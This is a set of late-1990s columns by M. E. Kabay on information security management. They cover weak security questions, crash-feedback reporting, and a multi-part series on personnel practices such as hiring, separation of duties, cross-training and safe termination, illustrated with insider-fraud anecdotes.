Question (a), the credit-card number, fails criteria 1 and 3: lots of people can know the user's credit-card number and people have to get new cards all the time. In addition, the answer is not unique because many people have several credit-cards. Depending on what your staff do when an answer is wrong, there could be repercussions such as being permanently barred from reactivating the certificate.

Question (b), SSN, fails criteria 1 because abuse of the social security number has resulted in widespread availability of this information, especially to criminal hackers. Some states even use the SSN as the driver's license number — and sell CDs with those data to anyone willing to pay.

Question (c), mother's maiden name, fails criteria 1 because that information is a matter of public record and can even be obtained online in some states. In addition, many family members know the answer and, with the widespread occurrence of unmarried mothers, there are now many people whose name is the same as their mother's family name.

Please feel free to use the examples and analysis above (verbatim, if you like -- no attribution required) to show your users how easy it is to choose bad questions.

To get the concept across to inexperienced users, I recommend plentiful, personally memorable and preferably amusing examples. Consider

* What was your first boy/girlfriend's favorite movie/book/?

* What was the nickname of your favorite teacher in grade six?

* What made you get really sick when you were 4 years old?

* Whom did your best friend imitate at the famous Halloween party in where three of your schoolmates were arrested?

* What award are you proudest of?

* How long and where was your sister away the year your dog ate the hamster?

# # #

I suspect that somebody without adequate training in INFOSEC principles was responsible for providing their examples.

Recommendations:

* Before giving advice to the public on legal matters, consult an attorney with suitable expertise for advice.

* Before giving advice to the public on information security matters, consult an information security specialist with suitable expertise for advice.

The above version includes corrections

of errors in the original article:

I gave bad examples of personal questions.

Feedback From Bad Operating Systems

by M. E. Kabay, PhD, CISSP
Security Leader
INFOSEC Group
AtomicTangerine, Inc.

Netscape Navigator, the widely-used Web browser, has a product feature that I think should interest the makers of popular operating systems and of other products.

But first, let's look at the reliability of today's most widely-used operating systems.

At a recent conference, I asked a quality assurance expert from Microsoft how often, on average, Windows 9x machines crash per day.

He said he didn't know but would try to find out. Dr Peter Neumann, editor of the RISKS Forum Digest, wrote last year that ". . . many other folks report that various [W]indows versions typically require a reboot as often as every week or two [See RISKS 20.24]." In contrast, colleagues around the lunch table chimed in with a wide range of estimates from twice a day to once every two days. Everyone laughed when I pointed out that a rollover problem with a counter in the operating system meant that no Windows 9x system could run longer than 49.7 days [see http://catless.ncl.ac.uk/Risks/20.24.html or http://support.microsoft.com/support/kb/articles/q216/6/41.asp] -- the very idea that a Windows 9x system could possibly run without crashing long before that limit struck everyone as ludicrous.

I suspect that no one knows in any detail just how often and why Windows 9x systems are crashing. Even if Microsoft were to survey users by phone, by e-mail or using a Web form, I think the data would be flawed.

The brutal fact is that Windows crashes so often that an entire generation of computer users think it's normal for an operating system to crash at least a few times a week. Yes, I know that part of the problem is that there is no security kernel, so that all programs run as root and can make changes all over memory, even in other processes' stacks and pointers. In fact, many application programs even have the temerity to replace some of the system files to suit themselves, regardless of possible effects on other programs.

In contrast, when I ran a data center in the 1980s, the HP3000 systems we used as we serviced 1,000 users crashed so rarely -- perhaps once in several weeks or months -- that every event was logged and reported to HP. We took core dumps and we ourselves or HP technicians read them to determine exactly which process had caused the system failure. HP recorded the problems and published a biweekly magazine called the Software Status Bulletin to warn users of known problems and propose patches or workarounds if possible.

This system also allowed HP customers to judge when it was safe to install new revisions of the operating system -- our data center waited until the number of new problem reports per month had dropped to the baseline with which we were comfortable.

Now granted, there are many operating system and application program bugs that are indeed reported in the Microsoft Knowledge Base, and I do congratulate the company on its commitment to customer service. Nonetheless, I guess that a lot of people, like me, simply

reboot our systems with a snarl and don't even bother telling the vendor that there was a problem.

I think it would help everyone if Microsoft could have a wider picture, preferably in real time, of what's making their operating systems crash.

Back to Netscape. The function of interest is called the Netscape Quality Feedback Agent; here's the text it provides to explain the function:

> This is a feature that allows you to send information about a problem you are having back to the Netscape developers that will help them to improve their products. The Agent uses Talkback™ technology from Full Circle Software.

Communicator activates the Agent to gather information that will help solve a problem or improve the product. When the Agent is activated, it collects useful technical data and automatically presents an information window where you can enter your comments. All you have to do is click the Send button, and the Agent sends the information to Netscape over the Internet, using encryption and a secure connection to ensure privacy. Netscape uses the kind of information collected by the Agent to debug, upgrade, and improve their products. You can see everything the Agent sends before it is sent. <

I suggest that operating-system manufacturers -- and perhaps the creators of other kinds of software too -- offer users this option to enable automatic logging and communication of failures to the parent companies.

Many users would be glad to enable such a function as long as the load were not too onerous on the connection (an unlikely problem) and if they were convinced that the company were genuinely protecting their privacy. Such protection could be achieved by using the unique processor ID available in new-generation processors and refraining from linking processor IDs to real-world data.

With a bit of effort, companies would be able to concentrate their efforts on the bugs causing the most frequent system crashes in the real world instead of depending only on the people who bother to send in problem reports.

In an ideal world, such statistics would actually be published openly so that users could monitor the state of new operating system revisions and make informed choices about when to upgrade their systems.

Let's hope someone is listening out there.

Personnel Management and INFOSEC
Part 1. Hiring

by M. E. Kabay, PhD, CISSP
Security Leader
INFOSEC Group
AtomicTangerine, Inc.

In this series, we are reviewing some of the implications of personnel management for information security.

Crime is a human issue, not merely a technological one. True, technology can reduce the incidence of computer crimes, but the fundamental problem is that people can be tempted to take advantage of flaws in our information systems. The most spectacular biometric access control in the world won't stop someone from getting into your computer room if the janitor lets them in "just to pick up a listing."

Hiring new employees poses a particular problem; growing evidence suggests that many of us inflate our resumes with unfounded claims. Be especially careful of vague words such as "monitored," and "initiated"--find out what the candidate did in specific detail, if possible. Be sure that references are followed up at least to verify that the candidate really worked where the resume claims they did.

Unfortunately, there is a civil liberties problem when considering someone's criminal record. Once someone has suffered the legally-mandated punishment for a crime (fines, community service, imprisonment), discriminating against them in hiring may be a violation of their civil rights. Can you exclude convicted felons from any job openings? from job openings similar to areas in which they abused their former employers' trust? Are you permitted in law to require that prospective employees approve background checks? Can you legally require polygraph tests? Drug tests? You should consult your corporate legal staff to ensure that you know your rights and obligations in your specific legal context.

Even checking references from previous employers is fraught with uncertainty. Employers may hesitate to give bad references even for incompetent or unethical employees for fear of lawsuits if their comments become known or even if the employee fails to get a new job. Today, you can't even be sure you'll get an answer to the simple question, "Would you rehire this employee?"

Ex-employers must also be careful not to inflate their evaluation of an ex-employee. Sterling praise for a scoundrel could lead to a lawsuit from the disgruntled new employer.

For these reasons, a growing number of employers have corporate policies which forbid discussing a former employee's performance in any way, positive or negative. All you'll get from your contact in such cases is, "Your candidate did work as an Engineer Class 3 from 1991 to 1992. I am forbidden to provide any further information."

It is a commonplace in the security field that some people who have successfully carried out crimes have been rewarded by a "golden handshake" (a special payment in return for leaving) and even positive references. The criminals can then move on to victimize a new employer. For the same reasons that we cannot know exactly how many crimes are carried out, we can't tell how often this extortion takes place.

To work around such distortions, question the candidate closely about details their education and work experience. The answers can then be checked for internal consistency and compared with the candidate's written submissions. Liars hate details: it's so much harder to remember which lie to repeat to which person than it is to repeat the truth. Ask experienced employees to interview the candidate. Compare notes in meetings among your staff. I recall one new employee who claimed to have worked on particular platform for several years--but didn't know how to log on. Had he chatted with any of the programmers on staff before being hired, his deception would have been discovered quickly enough. Ironically, had he told the truth, he might have been hired anyway.

Before allowing new employees to start work, they should sign an employment agreement which stipulates that they will not disclose confidential information or trade secrets from their previous employer. Another clause must state that they understand that you are explicitly not requesting access to information misappropriated from their previous employer or stolen from any other source.

The Uniform Trade Secrets Act, which is enforced in many jurisdictions in the U.S., provides penalties which are triple the demonstrated financial damages caused by the data leakage plus attorney's fees.

Personnel Management and INFOSEC
Part 2. Ongoing Management: Opportunities for Abuse

by M. E. Kabay, PhD, CISSP
Security Leader
INFOSEC Group
AtomicTangerine, Inc.

In this series, we are reviewing some of the implications of personnel management for information security.

Security managers don't have to be paranoid, they just have to act as if they're paranoid. Work with your colleagues to help you identify behavior that indicates increased risk for your organization.

Treat people with scrupulously fair attention to written policies and procedures. Selective or capricious enforcement of procedures is harassment. If you allow some of your staff to be alone with the check run but force all others to be accompanied, the latter can justifiably interpret your inconsistency as an implicit indication of distrust. Such treatment may move certain employees to initiate grievances and civil lawsuits or to lay complaints under criminal statutes.

Inconsistency reduces your effectiveness. Suppose George is known for a no-nonsense, bluff manner. He sticks to technical issues with his staff; he rarely socializes with his colleagues and almost never talks about anyone's feelings. George discovers that his chief programmer, Sally, seems preoccupied and irritable lately. What is Sally to think when George suddenly enquires sweetly about how things are at home and whether she is under any strain? It would be easy for Sally to misinterpret George's apparent concern as either an unwarranted intrusion into her private life, a sexual come-on, or an accusation. George's unusual behavior could trigger alarm bells even in innocent employees.

In general, managers -- not just security officers -- should always be looking for opportunities to use the system in unauthorized ways -- no wait, wait, I mean so they can identify areas for improving security (you silly, twisted reader, you)!

What would you do if you discovered that an employee who used to occupy your current office still had the key? You would politely ask them to give it up. No one would question the reasonableness of such a request. However, when you remove access to the network server room from a system analyst who has no reason to enter that area, you may be treated to resentment, sulking and abuse. People learn about keys when they're children; they don't extend the principles to information security. People sometimes treat access controls as status symbols; why else would a CEO who has no technical training demand that his access code include the tape library and the wiring closet?

You can overcome these psychological barriers to better security by introducing a different way of looking at vulnerabilities. When you identify an opportunity to use the system in unauthorized ways, turn the discussion into a question of protecting the person against undue suspicion. For example, if one of your employees were found to have more access to secured files than required for her job, you could explain that having such capabilities put her at risk. If anything ever did go wrong with the secured files, she'd be a suspect. There's no need to frame the problem in terms of suspicion and distrust.

With these principles in mind, be alert to such opportunities as making an employee remain alone in a sensitive area, allowing unsupervised access to unencrypted backups, or having only one programmer who knows anything about the internals of the accounting package.

In the next piece in this series, I'll look at the problem of the indispensable employee.

* * *

Personnel Management and INFOSEC
Part 3. Ongoing Management: Redundancy and Security

by M. E. Kabay, PhD, CISSP
Security Leader
INFOSEC Group
AtomicTangerine, Inc.

In this series, we are reviewing some of the implications of personnel management for information security.

For most areas of information processing, redundancy is generally viewed as either a Bad Thing or an unavoidable but regrettable cost paid for specific advantages. For example, in a database, indexing may require identical fields (items, columns) to be placed in separate files (datasets, tables) for links (views, joins) to be established. However, in managing personnel for better security, redundancy is a requirement. Without shared knowledge, our organization is a constant risk of a breach of availability.

Redundancy in this context means having more than one person who can accomplish a given task. Another way of looking at it is that no knowledge shall belong to only one person in an organization.

Unique resources always put our systems at risk; that's why companies like Tandem, Stratus and others have so successfully provided computer systems for critical-task functions such as stock exchanges and banking networks. Such redundant or fault-tolerant computer systems and networks have twin processors, channels, memory arrays, disk drives and controllers.

Similarly, a fault-tolerant organization will invest in cross-training of all its personnel. Every task should have at least one other person who knows how to do it--even if less well than the primary resource. This principle does not imply that you have to create clones of all your employees; it is in fact preferable to have several people who can accomplish various parts of any one person's job. Spreading knowledge throughout the organization makes it possible to reduce the damage caused by absence or unavailability of key people.

If a single employee is the only person who knows about a critical function in your organization, you are at risk. Your organization will suffer if the key person is away, and it may suffer if the key person decides to behave in unauthorized and harmful ways. Do you have anyone in your shop whose absence you dread? Are there any critical yet undocumented procedures for which everyone has to go ask Joe?

A client in a data center operations management class volunteered the following story. There was a programming wizard responsible for maintaining a key production program; unfortunately, he had poor communication skills and preferred to solve problems himself rather than training and involving his colleagues. "It'll be faster for me to do it myself," he used to say. During one of his rare vacations, something went wrong with "his" production program, shutting down the company's operations. The wizard was in the north woods, out of reach of all modern communications; the disaster lasted until he returned.

Not only does your organization suffer, but also Mr/Ms Indispensable suffers from the imbalance

of knowledge and skill when no one else knows what they know. Some indispensables are dedicated to the welfare of their employer and of their colleagues. They may hesitate to take holidays. If their skills are needed from hour to hour, it becomes more difficult to allow them to participate in committee meetings. These are the people who wear beepers and cannot sit undisturbed even in a two-hour class. If the Indispendable's skills affect day-to-day operations, they may find it hard to go to offsite training courses, conferences and conventions. Despite their suitability for promotion, indispensable people may be delayed in their career change because the organization finds it difficult or expensive to train their replacement. In extreme cases, the newly promoted manager may find themselves continuing to perform specialized duties that ought to be done by their staff. I remember my amazement when the newly-promoted VP of information systems at a service bureau informed me that he was the only person on the technical support and operations team who was competent to reconfigure the mainframe computer.

Personnel Management and INFOSEC

Part 4. Ongoing Management:
The Expert in the Next Office

by M. E. Kabay, PhD, CISSP
Security Leader
INFOSEC Group
AtomicTangerine, Inc.

In this series, we are reviewing some of the implications of personnel management for information security. In the previous article, I discussed some of the security issues relating to shared knowledge. In this article, I examine the other security costs of failing to manage knowledge effectively.

"Marcie, can you spare a minute?" Marcie groans inwardly. This is the sixth time this morning someone has come in from a neighbouring office to ask her for "a minute". Each occasion lasted about a quarter of an hour. The questions all concerned MARVEL 4-5-6, on which Marcie is the acknowledged expert.

However, Marcie is actually the Assistant to the Director of Finance, not a Technical Support specialist from the Information Center in Data Processing. Every time she's interrupted by a call for help from people in Accounting, Shipping, Engineering, and even occasionally from Data Processing, she falls further behind in her assigned work. She likes helping people, but lately she's had to stay late after the nominal end of her work day simply to make up for the time she has used acting as informal technical support to her neighbors.

Marcie may have a bad time of it unless something changes in her organization. She may be fired by her boss because her productivity drops too low according to her job description. She may burn out and quit because of overwork and criticism. Or she may cause resentment among her colleagues and neighbors by declining to help them or by complaining to her own boss and causing a ruckus. Alternatively, she may have a good time and manage to meet all the demands on her quite successfully until the DP department begins to feel threatened and someone either complains to the higher-ups or begins spreading nasty comments about poor, helpful Marcie.

Being the expert in the next office is tough on the expert.

Looking at this situation from a management point of view, there are problems for the recipients of all this free aid. The longer they can persist in getting apparently free help from their unofficial benefactor, the longer they can avoid letting upper management know they need help with their office automation tools. Then when the bubble bursts and the expert becomes unavailable, managers are confronted with a sudden demand for unplanned resources. In some organizations, unexpected staffing requirements are difficult to satisfy. Managers have a hard time explaining how it is that they were unable to predict the need and budget for it.

TINSTAAFL

Engineers often say, "There is no such thing as a free lunch" (abbreviated TINSTAAFL) to imply that no benefit is without cost.
From a technical support perspective, even the most gifted unofficial expert is necessarily an amateur. True, there are many users whose technical knowledge of their tools exceeds that of their own technical support staff. But professional technical support consists of far more than just technical knowledge. Almost no amateur expert will

- have colleagues to discuss the problem with on a technical level;
- have backup personnel so she can provide faster service to requesters;
- search the appropriate technical manuals with the user experiencing a problem;
- have access to all the periodical information provided by manufacturers;
- document the problems carefully so as to avoid having to solve them all over again later;
- have access to phone-in consulting services;
- determine the cause of the problem and ensure that the problem does not recur; and
- broadcast information about the problem, its workaround, and its fix to unaffected users who may benefit from the information.

In conclusion, failing to manage knowledge effectively can lead to a breach of availability (systems on which people rely may be inaccessible without a missing expert) or of utility (existing systems may not be fully exploited in the absence of a missing expert). From a security perspective as well as from a general management perspective, it is more sensible for employees to help themselves and each other by letting management know they need technical support.

If you are the Expert in the Next Office, when someone asks you for technical help in an area that isn't part of your formal job, by all means help them -- but let your manager know immediately that there's a support problem.

If you find yourself asking The Expert in the Next Office for technical help even though she isn't really supposed to be spending time on such problems, don't stop this time -- but tell your own manager that you'd prefer it to be an exceptional case and that you'd much rather have a permanent technical support team to work with.

Personnel Management and INFOSEC

Part 5. Ongoing Management:
Cross-Training and Vacation Time

by M. E. Kabay, PhD, CISSP
Security Leader
INFOSEC Group
AtomicTangerine, Inc.

In this series, we are reviewing some of the implications of personnel management for information security. In two previous articles, I discussed some of the issues relating to the unreplaceable, indispensable employee and argued that such lack of shared knowledge is a security risk. In this article I examine why some people try to sequester knowledge and look at the issue of forced vacation time.

Sometimes a person continues to be indispensable because of fear that their value to their employer resides in their private knowledge. Such employees resent training others. The best way to change their counter-productive attitude is to walk what you talk: share knowledge with them and with everyone else in your group. Make education a normal part of the way you work. Encourage cross-training by allocating time for it. Make cross-training a factor in your employee evaluations. Have discussions of current topics from the trade press and academic journals. Start a journal club where people take it in turn to present the findings from recent research in areas of interest.

Reluctance to explain their job to someone else may also mask unauthorized or illegal activity. Take for example the case of Lloyd Benjamin Lewis, assistant operations officer at a large bank. He arranged with a confederate outside the bank to cash fraudulent check for up to $250,000 each on selected legitimate accounts at Lewis' branch. Using a secret code stolen from another branch, Lewis would scrupulously encode a credit for the exact amount of the theft, thus giving the illusion of correcting a transaction error. Lewis stole $21.3 million from his employer between September 1978 and January 1981, when he was caught by accident. For unknown reasons, a computer program flagged one of his fraudulent transactions so that another employee was notified of an irregularity. It did not take long to discover the fraud, and Lewis was convicted of embezzlement. He was sentenced to five years in a federal prison.

Since Lewis was obliged to be physically present to trap the fraudulent check as they came through the system, he could not afford to have anyone with him watching what he did. I doubt that Lewis would have been enthusiastic about having to train a backup to do his job. If anyone had been cross-trained, I doubt the embezzlement would have continued so long and been so serious.

Another even more sensitive topic is vacation time.

Lloyd Benjamin Lewis took his unauthorized duties (stealing money from his bank) so seriously that during the entire period of his embezzlement, about 850 days, he was never late, never absent, and never took a single vacation day in over two years. As a data center manager, I would have been quite alarmed at having an employee who had failed to be absent or late a single day in more than two years. How would you know what would happen if Mr Perfect really were away? The usual rule in companies is that if an employee fails to use vacation days, they can be carried over for a limited time and then they expire. This is supposed to be an incentive to take vacation time. For normal, honest employees it probably works fine. For dishonest employees who have to be present to control a scam, losing vacation days is irrelevant.

I recommend that every employee be required to take scheduled vacations within a definite -- and short -- time limit. No exceptions should be permitted. Excessive resistance to taking vacations should be investigated to find out why the employee insists on being at work all the time.

The problem is that the devoted, dedicated employee can get caught up in a web of suspicion precisely because of exceptional commitment. The only ways I can think of to avoid difficulties of this kind are (1) to make the reason for the policy well known to all employees so no one feels singled out; (2) to rely on the judgement and discretion and good will of the investigating manager to avoid hurt feelings in their most loyal employees.

Personnel Management and INFOSEC

Part 6. Ongoing Management:
Changes in Behavior

by M. E. Kabay, PhD, CISSP
Security Leader
INFOSEC Group
AtomicTangerine, Inc.

In this series, we are reviewing some of the implications of personnel management for information security.

Any kind of unusual behavior can pique the curiosity of a manager. Even more important from a security management standpoint, any consistent change in behavior should stimulate interest. Is Miss Punctual suddenly late--day after day? Did Mr Casual start showing up regularly in hand-tailored suits? Why is Miss Charming snarling obscenities at her staff these days? What accounts for Charles' working overtime every day all of a sudden -- in the absence of any known special project? Is Yosuf, that paragon of perfection, now producing obvious errors in simple reports? How is it that the formerly complaisant Waclav is now a demanding and bitter complainer?

Any radical change in personality should elicit concern, too. If the normally relaxed head accountant now has beads of sweat on her forehead whenever you discuss the audit trails, perhaps it's time to look into her work more closely. Mr Bubbly is now a morose whisky-swilling sourpuss: why? The formerly grim Schultz now waltzes through the office with a perpetual smile on his face. What happened? Or what is happening?

All of these changes alert you to the possibility of subterranean changes in the lives of your employees. Although these changes do indeed affect the security of your organization, they also concern managers as human beings who can help other human beings. Mood swings, irritability, depression, euphoria--these can be signs of psychological stress. Is your employee becoming alcoholic? a drug addict? abused at home? going through financial difficulties? having trouble with teenagers? falling in love with a colleague? Of course you can't help everyone, but at least you can express your concern and support in a sensitive and gentle way. Such discussions should take place in private and without alarming the subject or exciting other employees. If you feel out of your depth, by all means involve your human resources or personnel department. They will either have a psychologist or trained counselor on staff or be able to provide appropriate help in some other way such as an Employee Crisis Line.

There are sad cases in which employees have shown signs of stress but been ignored, with disastrous consequences: suicides, murders, theft, and sabotage. Be alert to the indicators and take action quickly.

With so much of our organizations' financial affairs controlled by information systems, it is not surprising that sudden wealth may be a clue that someone is committing a computer crime. A participant in the Information Systems Security Course reported that an accounting clerk at a U.S. government agency in Washington, D.C. was arrested for massive embezzlement. The tipoff? He arrived at work one day in a Porsche sports car and boasted of the expensive real estate he was buying in a wealthy area of the Capital region.
Not all thieves are that stupid. A healthy curiosity is perfectly justified if you see an employee sporting unusually expensive clothes, driving a sleek car after years with a rust-bucket, and chatting pleasantly about the latest trip to Acapulco when their salary doesn't appear to explain such expenditures. On the other hand, being a nosy Parker who butts into people's private lives will win

you no friends. It's a real bind but ignoring the issue doesn't make it disappear.

The other kind of change -- towards the negative -- may also indicate trouble. Why is your system manager looking both dejected and threadbare these days? Is he in the throes of a personal debt crisis? in the grip of a blackmailer? beset with a family medical emergency? a compulsive gambler on a losing streak? Again, on humane grounds alone you would want to know what's up in order to help. As a manager concerned with security, you have to investigate. In these days of explosive rage and ready access to weapons, ignoring employees with a dark cloud hovering over their heads may even be irresponsible and dangerous.

The manager's job is a tough one: you must walk the thin line between laissez-faire uninvolvement (and risk lifelong regrets or even prosecution for dereliction of duty) and overt interference in the private affairs of your staff (and risk embarrassment and prosecution for harassment).

Written policies will help you; so will a strong and ongoing working relationship with your human resources staff. Making it clear to all employees that managers are available for support and expected to investigate unusual behavior will also help avoid misunderstandings.

Personnel Management and INFOSEC

Part 7. Ongoing Management:
Separation of duties

by M. E. Kabay, PhD, CISSP
Security Leader
INFOSEC Group
AtomicTangerine, Inc.

In this series, we are reviewing some of the implications of personnel management for information security. In this article, I examine the concepts of separation of duties.

The same principles that apply to the control of money should apply to control of data. Watch the tellers at a bank: when you deposit a large check, you'll see the teller going to a supervisor and having that person look the check over and initial the transaction. When bank tellers empty the automatic teller machines at night and fill the cash hoppers, there are always two people present. The person who creates a check is not the person who signs it.

In well-run information systems departments, data entry is distinct from validation and verification. For example, a data entry supervisor can check on the accuracy of data entry but cannot enter a new transaction without having their direct supervisor check their work. There is no excuse for allowing the supervisor to enter a transaction and then, effectively, authorize it. What if the entry were in error -- or fraudulent? Where would the control be?

In quality assurance for program development, the principles of separation of duty are well established. For example, the person who designs or codes a program must not be the only one to test the design or the code. Test systems are separate from production systems; programmers must not have access to confidential and critical data which are controlled by the production staff. Programmers must not enter the computer room if they have no authorized business there; operators must not modify production programs and batch jobs without authorization.

When I ran operations at a service bureau many years ago, I trained two systems managers as soon as I could to take over the day-to-day management of the computer systems. When they were ready, I asked them to remove system manager capabilities from my account. I had no wish to intrude on their province of responsibility. My meddling with system parameters would cause more trouble than it would solve. Were there to be an emergency, I could be granted system management permissions and resume my former role. This attitude exemplifies the concept of separation of duties.

In early 1995, the financial world was rocked by the collapse of the Barings PLC investment banking firm. The Singapore office chief, Nicholas Leeson, was accused of having played the futures market with disastrous consequences. The significant point in our context is that he managed to carry out all the orders without independent overview. Had there been effective separation of duties, the collapse would not have occurred.

A related approach is called dual control. As an example of dual control, consider the perennial problem of having secret passwords not know to management yet sometimes needing emergency access to those passwords. This problem does not generally apply to ordinary users' passwords, which can normally be reset by a security administrator without having to know the old password (and which are then changed to a truly secret string by the user after a single logon). However, if there is only one person who has the root password for a system (say, because the other system

manager is on vacation) then it makes sense to store a written copy of the root password in a truly opaque envelope, seal it, sign the seal, tape over the seal with non-removable tape, and then store the envelope in a corporate safe. The principle of dual control dictates that such a copy of the root password should be accessible only if two officers of the organization simultaneously sign for it when taking it out of the corporate safe.

In conclusion, think about the structure of control over information as you design your INFOSEC policies and make sure you are providing separation of duties or dual control throughout your systems.

Personnel Management and INFOSEC

Part 8. Firings and Resignations

by M. E. Kabay, PhD, CISSP
Security Leader
INFOSEC Group
AtomicTangerine, Inc.

In this series, we are reviewing some of the implications of personnel management for information security. I started the series with hiring; the other end of the employer-employee relationship also deserves attention from a security-conscious manager. Taking our security mandate in the widest sense, we have to protect our employer and ourselves against potential damage from unethical, disgruntled or incompetent employees and against the legal consequences of improper firing procedures. Common sense and common decency argue for humane and sensitive treatment of people being fired and those who are resigning.

Resignations

The potentially most dangerous form of employment termination is the resignation. The problem is summed up in the caption of a cartoon I once saw. A savage attack is in progress against a medieval town; a clan war chieftain confronts a singed and dirty warrior. "No, no, Thor! Pillage, THEN burn!" Like the warriors, employees rarely resign without planning. An employee may have an indefinite period during which he or she knows that resignation is imminent, whereas the employer may remain unaware of the situation. If the employee has bad feelings towards or evil designs on the current employer, there is a period of vulnerability unknown to management. Dishonest or unbalanced employees could steal information or equipment, cause immediate or delayed damage using programmatic techniques (the so-called "logic-bomb"), or introduce faulty data into the system ("data diddling").

The policies discussed in previous articles for ongoing management should reduce the risks associated with resignations. Your goal as a manager should be to make resignations rare and reasonable. By staying in touch with your employees' feelings, moods and morale, you can identify sources of strain and perhaps resolve problems before they lead to resignations and their associated security risks.

Firings

Firings give the advantage to employers. The time of notification can be controlled to minimize its effects on the organization and its business. For example, employers might find it best to fire an incompetent or no-longer acceptable employee before beginning an important new project or after a particular project has finished.

Some people argue that to reduce the psychological impact on other employees, they fire people at the end of the day, perhaps even before a long weekend. The theory is that the practice gives everyone a cooling-off period outside working hours. These managers say they don't want the buzz of conversation and speculation that often follow a firing to intrude on the work day. This policy fails to regard the psychological stress to employees who have a ruined weekend and no way of responding constructively to their potentially catastrophic loss of a regular income.

A better approach to this stressful task is to fire people early on Monday morning in order to

provide an unrushed exit interview and job counseling to help the employee prepare for job hunting. In this scenario, the regrettable necessity (from the manager's point of view) of terminating employment is buffered by professionals in the human resources department who can give the departing employee a sense of hope and some practical as well as emotional support in their difficult time. This humane attitude is particularly important when there are many people being fired -- one of the worst experiences possible for both employees and managers and an event that has serious security implications.

Doing it wrong

A participant in one of my courses told the following horrifying tale of a firing gone wrong: in a large company, the personnel department asked information security staff to suspend the access codes for more than 100 people who were to be fired at 18:00 on Tuesday. On Wednesday at 08:00, the security staff began receiving phone calls asking why the callers' logon IDs no longer worked. It turned out that the personnel staff had failed to inform the "victims" on time. The psychological trauma to both the employees who were fired and to the security staff was severe. Several security staff members were sent home in tears to recuperate from their trauma. The harm done to the fired employees was even more serious, and the effect on morale of the remaining employees was a disaster. It's a wonder that there was no violence in that situation.

Cross-training again

One of the key organizational issues in planning or responding to termination of employment is training replacements for the departing employee. Such needs are voiced to justify policies allowing a more graceful, civilized and friendly approach to firings and resignations. It seems reasonable to encourage the departing employee to train the colleagues or new employees who will assume his or her responsibilities. However, cross-training should be part of the normal operations of all organizations.

Concluding remarks

In conclusion, firing people is a stressful time for everyone concerned and leads to increased security risks. Managers should do everything in their power to ensure a courteous, respectful and supportive experience when terminating employment.

Personnel Management and INFOSEC

Part 9. How to Say Goodbye

by M. E. Kabay, PhD, CISSP
Security Leader
INFOSEC Group
AtomicTangerine, Inc.

In this series, we are reviewing some of the implications of personnel management for information security. In a previous article, I discussed the approach to notifying an employee that (s)he has been fired. In this article, I want to look at what goes on behind the scenes to prepare for this difficult time.

Let's suppose the time has arrived for an employee and the employer to part company. In both resignations and firings, security consultants unanimously advise instant action. Not for them the leisurely grace period during which employees wind down their projects or hand them off to other staff members. No, security officers are a hard lot, and they advise the following scenario: in a formal exit interview, and in the presence of at least two managers, an officer of the employer informs the employee politely that his/her employment is at an end. During the exit interview, the officer explains the reasons for termination of employment. The officer gives the employee a check for the period of notification required by law or by contract (e.g., this could be at least the same period as that between pay checks) plus any severance pay due. Under supervision (preferably in the presence of at least one security guard), the employee is escorted to their work area and invited to remove all personal belongings and place them in a container provided by the employer. The employee returns all company badges, IDs, business cards available, credit cards, and keys. The employee is then ushered politely outside the building.

At the same time as all this is happening, all security arrangements must be changed to exclude the ex-employee from access to the building and to all information systems. Such restrictions can include:

- striking the person's name from all security-post lists of authorized access;
- explicitly informing guards that the ex-employee may not be allowed into the building, whether unaccompanied or accompanied by an employee, without special authorization by named authorities;
- changing the combinations, reprogramming access card systems, and replacing physical keys if necessary for all secure areas to which the individual used to have authorized access;
- removing or changing all personal access codes known to have been used by the ex-employee on all secured computer systems (microcomputers, networks, mainframes);
- informing all outside agencies (e.g., tape storage facilities, publications with company advertising) that the ex-employee is no longer authorized to access any of the employer's information or to initiate security or disaster recovery procedures;
- requesting cooperation from outside agencies in informing the employer if

ex-employees attempt to exercise unauthorized functions on behalf of their former employer.

The task is made more difficult by seniority or if the ex-employee played an important role in disaster recovery or security. The employer should be assiduous in searching out all possible avenues of entry resulting from the person's position of responsibility and familiarity with security procedures.

In one story circulating in the security literature, an employee was fired without the safeguards suggested above. He returned to the workplace the next Saturday with his station wagon and greeted the security guard with the usual friendliness and confidence. The guard, who had known him for years, was unaware that the man had been fired. The ex-employee still had access codes and copies of keys to secure areas. He entered the unattended computer room, destroyed all the files on the system, and then opened the tape vault. He engaged the guard's help in loading all the company's backup tapes into his station wagon. The thief even complained about how he had to work on weekends. This criminal then tried to extort money from the company by threatening to destroy the backup tapes, but he was found by police and arrested in time to prevent a disaster for his ex-employer.

Personnel Management and INFOSEC

Part 10. Psychosocial Issues in Firing People

by M. E. Kabay, PhD, CISSP
Security Leader
INFOSEC Group
AtomicTangerine, Inc.

In this series, we are reviewing some of the implications of personnel management for information security. In several previous articles, I discussed practical considerations in how to terminate employment with the least possible suffering and the lowest threat to security. In this article, I want to look at the social and psychological effects of employment termination in a bit more detail.

What, no farewell party? Alas, security does interfere with the more obvious signs of friendliness. The problem with a farewell party is that there may be litigation if employees leaving under a cloud feel humiliated when most people get a party but they don't. Generally it makes sense to treat all departing employees the same if the termination is involuntary.

However, nothing stops a humane and sensitive employer from encouraging employees to arrange an after-hours party even for people who have been fired.

On the other hand, if a resignation is on good terms, the employer may even arrange a celebration, possibly during working hours and maybe even at company cost.

A firing or a resignation on poor terms has two psychological dangers: effects on the individual concerned (embarrassment, shame, anger) and effects on the remaining staff (rumors, resentment, fear).

Both kinds of problems can be minimized by publishing termination procedures in organization documents provided to all employees; requiring all employees to sign a statement confirming that they have read and agreed to the termination procedures; and consistent application of the termination procedures.

The personal shock of being fired can be reduced by politeness and consideration consistent with the nature of the reasons for being fired -- although even nasty people should not be subject to verbal or physical abuse no matter how bad their behavior; treatment consistent with that meted out to other fired employees; and generous severance arrangements.

I once had to leave a wonderful company because of reasons beyond the control of the employer and myself. Neither the company nor I wanted to terminate my employment. The owner of the company offered to continue paying my salary until I found a job -- and urged me to take all the time necessary to find a satisfactory job. His generosity eased the shock of having to leave my friends and colleagues.

Organizational turmoil can be reduced by convening organization-wide or departmental meetings to brief remaining employees on the details of significant termination; open discussion, including understanding how people respond to rupture of relationships. The remaining employees may have to suffer grief (a process, not a state).

Grief is a normal and healthy response to disruption of relationships (e.g., death of a loved one,

divorce, and even the loss of a co-worker). Some people value social relationships more than other aspects of their work and may be especially affected by firings. Grief involves stages of denial, anger, mourning and recovery. Trying to forestall such responses by denying that people legitimately have feelings is foolish and counter-productive. It is far better to encourage those who are upset to voice their feelings and to engage in constructive discussion than to clamp down pointlessly in a futile attempt to suppress discussion.

Style

